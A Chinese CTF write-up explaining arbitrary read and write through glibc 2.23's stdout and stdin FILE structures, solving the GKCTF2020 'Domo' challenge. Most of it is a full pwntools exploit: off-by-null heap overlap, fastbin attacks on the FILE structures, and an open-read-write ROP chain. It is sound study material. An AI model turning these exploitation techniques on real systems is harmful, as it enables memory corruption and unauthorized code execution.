【八芒星计划】 _IO_2_1_stdout_和_IO_2_1_stdin_ 的任意地址读和任意地址写
文章目录
- 前言
- 一、GKCTF2020]Domo
- 总结
前言
这篇记一下任意地址读和任意地址写
_IO_2_1_stdout_的任意地址读,_IO_write_base为读取的起始地址,_IO_write_ptr为读取的末地址,并且flag的值要得是0xfbad1800才能正常读取
_IO_2_1_stdin_的任意地址写跟_IO_2_1_stdout_的任意地址读类似,也是需要控制flag还有_IO_buf_base和_IO_buf_end。
这回除了flag、_IO_buf_base和_IO_buf_end外,其余位置用0填充即可。
一、GKCTF2020]Domo
条件:
①2.23
②off by null
③除了edit都有,edit是任意地址改一字节
这题按照作者的意思是挺麻烦的,要写挺多步骤,但实际写起来好像也没那么麻烦了 ???
add(0xf0, 'a')#0
add(0x60, 'a')#1
add(0x60, 'a')#2
add(0x60, 'a')#3
add(0xf0, 'a')#4
add(0x18, 'a')#5
add(0x18, 'a')#6
free(0)
free(3)
add(0x68, 'a'*0x60+p64(0x250))#0
free(4)
add(0xf0, 'a')#3
show(1)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 88
add(0x60, 'a')#4
add(0x60, 'a')#7
add(0x60, 'a')#8
free(0)
free(2)
show(7)
rc(0x10)
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
info('libc_base', libc_base)
environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
info('stdout', stdout)
info('stdin', stdin)
info('IO_file_jumps', IO_file_jumps)
标准的2.23的off by null堆块复用,注意这道题是固定位置会置0,所以要注意size
#------------------------------------------stdout--------------------------------------------------------
free(6)
add(0x60, 'a')#0
add(0x60, 'a')#2
free(0)
free(2)
free(7)
add(0x60, p64(stdout-0x43))#0
add(0x60, 'a')#2
add(0x60, 'a')#6
p = '\x00'*0x3+p64(0)*5+p64(IO_file_jumps)+p64(0xfbad1800)+p64(stdout+131)*3+p64(environ)+p64(environ+8)
print hex(len(p))
add(0x68, p)#7
rc(0x10)
stack_envp = uu64(rc(6))
info('stack_envp', stack_envp)
stack = stack_envp - 0xf0
info('stack', stack)
fastbin attack打_IO_2_1_stdout_,泄漏出栈地址,注意这题最多9个chunk,所以要释放掉一些不用的chunk, -0x43是为了size(0x7f)
#------------------------------------------stdin------------------------------------------------------
free(1)
free(0)
free(4)
add(0x60, p64(stdin-0x28))#4
add(0x60, 'a')#0
add(0x60, './flag\x00\x00')#1
free(5)
pop_rdi_ret=libc_base+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libc_base+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libc_base+libc.search(asm("pop rdx\nret")).next()
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(heap_addr-0xd0)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
edit(stdin-0x20,'\x7f')
p = p64(0)+p64(libc_base+libc.symbols["_IO_wfile_jumps"])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack-2)+p64(stack+0x100)
add(0x68, p)
sla('> ', '5\n'+orw)
然后fastbin attack同理打_IO_2_1_stdin_,本来-0x13的位置有个0x7f,但是写进去后面会出错,可能是因为对齐的问题?所以我们用edit来改出0x7f,然后申请chunk,完成任意写,往栈上写,覆盖v7,覆盖_libc_start_main,写入orw
完整exp:
from pwn import *
from LibcSearcher import * local_file = './domo'
local_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc_buu = '/root/glibc-all-in-one/libs/buu/libc-2.23.so'select = 0if select == 0:r = process(local_file)libc = ELF(local_libc)
else:r = remote('', )libc = ELF(remote_libc)elf = ELF(local_file)context.log_level = 'debug'
context.arch = elf.archse = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):gdb.attach(r,cmd)
def menu(choice):sla('> ', str(choice))
def add(size, content):menu(1)sla('size:', str(size))sea('content:', content)
def free(index):menu(2)sla('index:', str(index))
def show(index):menu(3)sla('index:', str(index))
def edit(addr, content):menu(4)sla('addr:', str(addr))sea('num:', content)
add(0xf0, 'a')#0
add(0x60, 'a')#1
add(0x60, 'a')#2
add(0x60, 'a')#3
add(0xf0, 'a')#4
add(0x18, 'a')#5
add(0x18, 'a')#6
free(0)
free(3)
add(0x68, 'a'*0x60+p64(0x250))#0
free(4)
add(0xf0, 'a')#3
show(1)
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['__malloc_hook'] - 0x10 - 88
add(0x60, 'a')#4
add(0x60, 'a')#7
add(0x60, 'a')#8
free(0)
free(2)
show(7)
rc(0x10)
heap_addr = uu64(rc(6))
info('heap_addr', heap_addr)
info('libc_base', libc_base)
environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
info('stdout', stdout)
info('stdin', stdin)
info('IO_file_jumps', IO_file_jumps)
#------------------------------------------stdout--------------------------------------------------------
free(6)
add(0x60, 'a')#0
add(0x60, 'a')#2
free(0)
free(2)
free(7)
add(0x60, p64(stdout-0x43))#0
add(0x60, 'a')#2
add(0x60, 'a')#6
p = '\x00'*0x3+p64(0)*5+p64(IO_file_jumps)+p64(0xfbad1800)+p64(stdout+131)*3+p64(environ)+p64(environ+8)
print hex(len(p))
add(0x68, p)#7
rc(0x10)
stack_envp = uu64(rc(6))
info('stack_envp', stack_envp)
stack = stack_envp - 0xf0
info('stack', stack)
#------------------------------------------stdin------------------------------------------------------
free(1)
free(0)
free(4)
add(0x60, p64(stdin-0x28))#4
add(0x60, 'a')#0
add(0x60, './flag\x00\x00')#1
free(5)
pop_rdi_ret=libc_base+libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libc_base+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libc_base+libc.search(asm("pop rdx\nret")).next()
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(heap_addr-0xd0)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
edit(stdin-0x20,'\x7f')
p = p64(0)+p64(libc_base+libc.symbols["_IO_wfile_jumps"])+p64(0)+p64(0xfbad1800)+p64(0)*6+p64(stack-2)+p64(stack+0x100)
add(0x68, p)
sla('> ', '5\n'+orw)
r.interactive()
总结
【八芒星计划】 _IO_2_1_stdout_和_IO_2_1_stdin_ 的任意地址读和任意地址写相关推荐
- 【八芒星计划】 OFF BY NULL
八芒星计划是我为了加深自己对于pwn各种题型的理解发起的,我会将平时遇到的题型相似的题目放在同一篇文章里,方便自己和他人查阅,同时也可能会录制相关的视频,来加深自己的映像,并且把知识点更细致地讲述给大 ...
- socket绑定的ip为INADDR_ANY 的意义 htonl(INADDR_ANY)(0.0.0.0所有地址、不确定地址、任意地址)(htonl和htons区别)
INADDR_ANY 表示监听0.0.0.0地址,socket只绑定端口,不绑定本主机的某个特定ip,让路由表决定传到哪个ip(0.0.0.0地址表示所有地址.不确定地址.任意地址)(一台主机中如果有 ...
- ipv6 全球单播地址,link-local address、site-local address、组播、任意波、EUI-64等地址的理解
学习IPV6的时候涉及到一个概念,link-local address, 中文叫"链路本地地址",它的前缀是 FE80::/64 一个link-local address的范例: ...
- PbootCMS城市分站插件 生成任意城市的分站链接地址 支持分站同页跳转 实现dedecms织梦城市分站插件效果
插件介绍 基于PbootCMS v3.1.3制作的城市分站插件.自动生成任意城市的分站链接,同时支持分站之间同页跳转. PbootCMS城市分站插件 生成任意城市的分站链接地址 支持分站同页跳转 - ...
- 益和VA实现任意服务器迁移,IP地址变化不再受限
一.VA虚拟应用管理平台在 虚拟应用运行服务器 标签下 有一个重要的设置,即内网地址模式和外网地址模式,如下图: 内外网地址模式的设置加上益和VA独特的技术设计架构,让益和VA的连接异 ...
- 【八芒星计划】绕过canary
本篇记录绕过canary的方法 文章目录 前言 wdb2018_guess 前言 canary的绕过方法一共有4种 ①通过read函数泄露canary.关键的一点就是read函数读取字符串的时候不会在 ...
- 【C 语言】数组 ( 数组相关地址 | 数组首元素地址 | 数组地址 )
文章目录 一.数组相关地址 1.数组首元素地址 2.数组地址 二.代码示例 一.数组相关地址 数组首元素地址 与 数组地址 值相等 ; int array[10]; 其中 array + 1 的值是 ...
- 介绍了如何取成员函数的地址以及调用该地址
摘要:介绍了如何取成员函数的地址以及调用该地址. 关键字:C++成员函数 this指针 调用约定 一.成员函数指针的用法 在C++中,成员函数的指针是个比较特殊的东西.对普通的函数指针来说,可以 ...
- fm24c16c语言程序,铁电存储器FM24C16的页面写和任意字节读汇编程序
下面给出FM24C16的页面写和任意字节读汇编子程序.程序经过应用验证,效果良好(为保证稳定性,可以在相应地方加入空语句以延时). 页面写子程序: PAGE-WR: ACALL START_BIT M ...
最新文章
- git svn cygwin_exception
- 数据对智慧城市建设 起到极大作用
- openresty开发系列1--网关API架构及选型
- 外向或内向是基因决定的?
- 什么是 SAP Fiori Tools
- PHP的构成及生命周期
- 保留小数点位数和格式
- docker集群搭建(k8s)
- 2021了,你还不能玩转js正则表达式?
- JSP程序设计之(1)Tomcat安装及环境变量配置
- MT6573_FlashTool 下载的使用说明
- 3dmax导出fbx模型到unity
- 高考数学九大知识模块的易错考点【修正版】【知识体系辅导】
- 论文阅读笔记《Dynamic Few-Shot Visual Learning without Forgetting》
- SVN mac 破解版
- 单位弹性需求曲线形状_2021经济学考研:需求曲线形状与弹性的关系
- 工业机器人调运角度_FANUC/发那科搬运工业机器人R-2000iC/125L 负载125KG 臂展3100m...
- [dt]世纪历史长河年代表
- LeetCode(数据库)- 净现值查询
- 图文详解 新版VMware Workstation 7.0的最大特色